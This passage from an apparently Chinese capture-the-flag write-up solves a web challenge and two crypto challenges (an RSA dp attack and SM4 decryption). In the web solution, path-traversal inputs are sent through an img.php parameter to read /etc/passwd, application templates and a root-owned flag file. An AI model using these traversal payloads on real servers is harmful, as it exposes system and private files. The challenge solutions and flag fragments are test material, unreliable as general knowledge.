    r = requests.get(url+'img.php?name='+parse.quote(decode(x).decode()))
    print(r.text)
    
    $ python3 t.py "../../../../../etc/passwd"
    

    根据题目hint读取templates/upload.html,由于编码存在分组填充,所以需要尝试填充/./使达到3bytes一组

    $ python3 t.py "../../../.././proc/self/cwd/templates/upload.html"
    

    看到提示flag在/root/flag.txt,由于当前即为root权限,所以直接读取即可

    Crypto

    dp

    原题,去学长博客找脚本跑

    https://skysec.top/2018/08/24/RSA%E4%B9%8B%E6%8B%92%E7%BB%9D%E5%A5%97%E8%B7%AF(1)/

    sm4

    sm4算法,github上找lib

    $ go test                                                         
    key = [13 204 99 177 254 41 198 163 201 226 56 214 192 194 98 104]                     data = 2e30dc9cb8da390df65b013f3c436940                                                 d1 = 534d343a2020666c61677b31636161390000000000000000000000000000000000000000000000000000000000000000                   
    key = [13 204 99 177 254 41 198 163 201 226 56 214 192 194 98 104]                     data = 95f0d94d6b31de3d9be1e7c4a7790910                                                 d1 = 3662652d343236362d346138652d62640000000000000000000000000000000000000000000000000000000000000000                   
    key = [13 204 99 177 254 41 198 163 201 226 56 214 192 194 98 104]                     data = 3cb6416527fdfae009cc9a7ace2b613b                                                 d1 = 32632d6563653937373439353439377d0000000000000000000000000000000000000000000000000000000000000000                   
    PASS                                                                                   ok      _/C_/Users/40691/Downloads/Compressed/gmsm-master/sm4   0.281s  
    

    将三段拼接即可